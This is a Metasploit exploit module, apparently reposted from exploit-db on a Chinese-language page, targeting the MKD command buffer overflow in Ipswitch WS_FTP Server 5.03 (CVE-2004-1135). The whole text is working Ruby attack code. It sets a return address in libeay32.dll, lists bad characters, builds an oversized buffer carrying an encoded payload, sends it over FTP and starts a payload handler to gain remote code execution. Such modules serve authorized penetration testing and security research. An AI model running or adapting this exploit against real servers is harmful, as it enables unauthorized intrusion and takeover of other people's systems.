Ipswitch WS_FTP Server 5.03 – MKD Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-10-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16719/
  • ##
    # $Id: wsftp_server_503_mkd.rb 10559 2010-10-05 23:41:17Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::Remote::Ftp
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'WS-FTP Server 5.03 MKD Overflow',
    			'Description'=> %q{
    				This module exploits the buffer overflow found in the MKD
    				command in IPSWITCH WS_FTP Server 5.03 discovered by Reed
    				Arvin.
    			},
    			'Author' => [ 'et', 'Reed Arvin <reedarvin@gmail.com>' ],
    			'License'=> BSD_LICENSE,
    			'Version'=> '$Revision: 10559 $',
    			'Platform' => [ 'win' ],
    			'References' =>
    				[
    					[ 'CVE', '2004-1135' ],
    					[ 'OSVDB', '12509' ],
    					[ 'BID', '11772'],
    				],
    			'Privileged' => false,
    			'Payload'=>
    				{
    					'Space'=> 480,
    					'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
    					'StackAdjustment' => -3500,
    				},
    			'Targets'=>
    				[
    					[
    						'WS-FTP Server 5.03 Universal',
    						{
    							'Ret'=> 0x25185bb8,
    							# Address is executable to allow XP and 2K
    							# 0x25185bb8 = push esp, ret (libeay32.dll)
    							# B85B1825XX = mov eax,0xXX25185b
    						},
    					],
    				],
    			'DisclosureDate' => 'Nov 29 2004',
    			'DefaultTarget' => 0))
    	end
    
    	def check
    		connect
    		disconnect
    		if (banner =~ /5\.0\.3/)
    			return Exploit::CheckCode::Vulnerable
    		end
    		return Exploit::CheckCode::Safe
    	end
    
    	def exploit
    		connect_login
    
    		print_status("Trying target #{target.name}...")
    
    		buf = rand_text_alphanumeric(8192)
    		buf[498, 4] = [ 0x7ffd3001 ].pack('V')
    		buf[514, 4] = [ target.ret ].pack('V')
    		buf[518, 4] = [ target.ret ].pack('V')
    		buf[522, 2] = make_nops(2)
    		buf[524, payload.encoded.length] = payload.encoded
    
    		send_cmd( ['MKD', buf], true );
    
    		handler
    		disconnect
    	end
    
    end